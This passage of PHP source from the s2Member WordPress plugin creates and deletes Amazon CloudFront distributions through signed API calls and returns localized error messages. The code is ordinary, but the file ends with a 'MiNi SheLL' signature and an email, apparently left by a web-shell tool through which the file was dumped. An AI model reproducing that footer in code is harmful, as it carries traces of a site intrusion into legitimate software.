														$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_access_key"];
														$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_secret_key"];
														/**/
														$cf_domain = "cloudfront.amazonaws.com";
														$cf_date = gmdate("D, d M Y H:i:s")." GMT";
														$cf_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_cf_sign($cf_date));
														$cf_location = ($distro_id_type === "streaming") ? "/2010-11-01/streaming-distribution/".$distro_id : "/2010-11-01/distribution/".$distro_id;
														$cf_args = array("method" => "DELETE", "redirection" => 0, "headers" => array("Host" => $cf_domain, "Date" => $cf_date, "If-Match" => $cf_response["etag"], "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
														/**/
														if(($cf_response = c_ws_plugin__s2member_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && ($cf_response["code"] === 200 || $cf_response["code"] === 204 /* Deleted. */))
															return /* Deleted successfully. */ array("success" => true, "code" => null, "message" => null);
														/**/
														else if(isset($cf_response["code"], $cf_response["message"]))
															/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
															return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to delete existing Amazon® CloudFront Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
														/**/
														else /* Else, we use a default error code and message. */
															return array("success" => false, "code" => -94, "message" => _x("Unable to delete existing Amazon® CloudFront Distro. Connection failed.", "s2member-admin", "s2member"));
													}
												else if(isset($cf_response["success"], $cf_response["deployed"]) && $cf_response["success"] && !$cf_response["deployed"])
													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
													return array("success" => false, "code" => -95, "message" => _x("Existing Amazon® CloudFront Distro cannot be deleted at this time. Still in a `pending` state after having been disabled by s2Member. Please wait 15 minutes, then try again. There is a certain process that s2Member must strictly adhere to when re-configuring your Amazon® CloudFront Distros. You may have to tick the auto-configure checkbox again, and re-run s2Member's auto-configuration routine many times, because s2Member will likely run into several `pending` challenges, as it works to completely re-configure your Amazon® CloudFront Distros for you. Thanks for your patience. Please wait 15 minutes, then try again.", "s2member-admin", "s2member"));
												/**/
												else if(isset($cf_response["code"], $cf_response["message"]))
													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
													return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to check status of existing Amazon® CloudFront Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
												/**/
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -96, "message" => _x("Unable to check status of existing Amazon® CloudFront Distro. Connection failed.", "s2member-admin", "s2member"));
											}
										else if(isset($cf_response["code"], $cf_response["message"]))
											/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to disable existing Amazon® CloudFront Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
										/**/
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -97, "message" => _x("Unable to disable existing Amazon® CloudFront Distro. Connection failed.", "s2member-admin", "s2member"));
									}
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Existing Amazon® CloudFront Distro cannot be deleted at this time. Still in a `pending` state. Please wait 15 minutes, then try again. There is a certain process that s2Member must strictly adhere to when re-configuring your Amazon® CloudFront Distros. You may have to tick the auto-configure checkbox again, and re-run s2Member's auto-configuration routine many times, because s2Member will likely run into several `pending` challenges, as it works to completely re-configure your Amazon® CloudFront Distros for you. Thanks for your patience. Please wait 15 minutes, then try again.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to delete existing Amazon® CloudFront Distro. Invalid Distro ID or ETag.", "s2member-admin", "s2member"));
					}
				/**
				* Creates an Amazon® S3/CloudFront Distro.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $distro_type Required: `downloads|streaming`.
				* @return array Array containing a true `success` and `distro_[distro_type]_id`, `distro_[distro_type]_dname` elements on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_create_distro($distro_type = FALSE)
					{
						if($distro_type && is_string($distro_type) && in_array($distro_type, array("downloads", "streaming")))
							{
								foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
									if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
										$cfc[$option] = $option_value;
								/**/
								$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_bucket"];
								$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_access_key"];
								$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_secret_key"];
								/**/
								$cf_domain = "cloudfront.amazonaws.com";
								$cf_date = gmdate("D, d M Y H:i:s")." GMT";
								$cf_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_cf_sign($cf_date));
								/**/
								if /* Create a `downloads` Distro? This uses a different XML schema. */($distro_type === "downloads")
									{
										$cf_location = /* Create distro. */ "/2010-11-01/distribution";
										$cf_distro_downloads_reference = time().".".md5("downloads".$s3c["bucket"].$s3c["access_key"].$s3c["secret_key"].$cfc["private_key"].$cfc["private_key_id"].$cfc["distro_downloads_cname"]);
										$cf_distro_downloads_xml = '<?xml version="1.0" encoding="UTF-8"?><DistributionConfig xmlns="http://cloudfront.amazonaws.com/doc/2010-11-01/"><S3Origin><DNSName>'.esc_html($s3c["bucket"]).'.s3.amazonaws.com</DNSName><OriginAccessIdentity>origin-access-identity/cloudfront/'.esc_html($cfc["distros_access_id"]).'</OriginAccessIdentity></S3Origin><CallerReference>'.esc_html($cf_distro_downloads_reference).'</CallerReference>'.(($cfc["distro_downloads_cname"]) ? '<CNAME>'.esc_html($cfc["distro_downloads_cname"]).'</CNAME>' : '').'<Comment>'.esc_html(sprintf(_x("Created by s2Member, for S3 Bucket: %s.", "s2member-admin", "s2member"), $s3c["bucket"])).'</Comment><Enabled>true</Enabled><DefaultRootObject>index.html</DefaultRootObject><TrustedSigners><Self/></TrustedSigners></DistributionConfig>';
										$cf_args = array("method" => "POST", "redirection" => 0, "body" => $cf_distro_downloads_xml, "headers" => array("Host" => $cf_domain, "Content-Type" => "application/xml", "Date" => $cf_date, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
										/**/
										if(($cf_response = c_ws_plugin__s2member_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && ($cf_response["code"] === 200 || $cf_response["code"] === 201 /* Created. */))
											{
												if(preg_match("/\<Distribution.*?\>(.+?)\<\/Distribution\>/is", $cf_response["body"], $cf_distro_downloads_tag) && preg_match("/\<Id\>(.+?)\<\/Id\>/is", $cf_distro_downloads_tag[1], $cf_distro_downloads_id_tag) && preg_match("/\<DomainName\>(.+?)\<\/DomainName\>/is", $cf_distro_downloads_tag[1], $cf_distro_downloads_dname_tag))
													return array("success" => true, "code" => null, "message" => null, "distro_downloads_id" => trim($cf_distro_downloads_id_tag[1]), "distro_downloads_dname" => trim($cf_distro_downloads_dname_tag[1]));
												/**/
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -97, "message" => _x("Unable to create/read Amazon® CloudFront Downloads Distro. Unexpected response.", "s2member-admin", "s2member"));
											}
										else if(isset($cf_response["code"], $cf_response["message"]))
											/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon® CloudFront Downloads Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
										/**/
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -98, "message" => _x("Unable to create Amazon® CloudFront Downloads Distro. Connection failed.", "s2member-admin", "s2member"));
									}
								/**/
								else if /* Create a `streaming` Distro? A different XML schema. */($distro_type === "streaming")
									{
										$cf_location = /* Create streaming distro. */ "/2010-11-01/streaming-distribution";
										$cf_distro_streaming_reference = time().".".md5("streaming".$s3c["bucket"].$s3c["access_key"].$s3c["secret_key"].$cfc["private_key"].$cfc["private_key_id"].$cfc["distro_streaming_cname"]);
										$cf_distro_streaming_xml = '<?xml version="1.0" encoding="UTF-8"?><StreamingDistributionConfig xmlns="http://cloudfront.amazonaws.com/doc/2010-11-01/"><S3Origin><DNSName>'.esc_html($s3c["bucket"]).'.s3.amazonaws.com</DNSName><OriginAccessIdentity>origin-access-identity/cloudfront/'.esc_html($cfc["distros_access_id"]).'</OriginAccessIdentity></S3Origin><CallerReference>'.esc_html($cf_distro_streaming_reference).'</CallerReference>'.(($cfc["distro_streaming_cname"]) ? '<CNAME>'.esc_html($cfc["distro_streaming_cname"]).'</CNAME>' : '').'<Comment>'.esc_html(sprintf(_x("Created by s2Member, for S3 Bucket: %s.", "s2member-admin", "s2member"), $s3c["bucket"])).'</Comment><Enabled>true</Enabled><DefaultRootObject>index.html</DefaultRootObject><TrustedSigners><Self/></TrustedSigners></StreamingDistributionConfig>';
										$cf_args = array("method" => "POST", "redirection" => 0, "body" => $cf_distro_streaming_xml, "headers" => array("Host" => $cf_domain, "Content-Type" => "application/xml", "Date" => $cf_date, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
										/**/
										if(($cf_response = c_ws_plugin__s2member_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && ($cf_response["code"] === 200 || $cf_response["code"] === 201 /* Created. */))
											{
												if(preg_match("/\<StreamingDistribution.*?\>(.+?)\<\/StreamingDistribution\>/is", $cf_response["body"], $cf_distro_streaming_tag) && preg_match("/\<Id\>(.+?)\<\/Id\>/is", $cf_distro_streaming_tag[1], $cf_distro_streaming_id_tag) && preg_match("/\<DomainName\>(.+?)\<\/DomainName\>/is", $cf_distro_streaming_tag[1], $cf_distro_streaming_dname_tag))
													return array("success" => true, "code" => null, "message" => null, "distro_streaming_id" => trim($cf_distro_streaming_id_tag[1]), "distro_streaming_dname" => trim($cf_distro_streaming_dname_tag[1]));
												/**/
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -97, "message" => _x("Unable to create/read Amazon® CloudFront Streaming Distro. Unexpected response.", "s2member-admin", "s2member"));
											}
										else if(isset($cf_response["code"], $cf_response["message"]))
											/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon® CloudFront Streaming Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
										/**/
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -98, "message" => _x("Unable to create Amazon® CloudFront Streaming Distro. Connection failed.", "s2member-admin", "s2member"));
									}
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to create Amazon® CloudFront Distro. Invalid Distro type.", "s2member-admin", "s2member"));
					}
			}
	}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com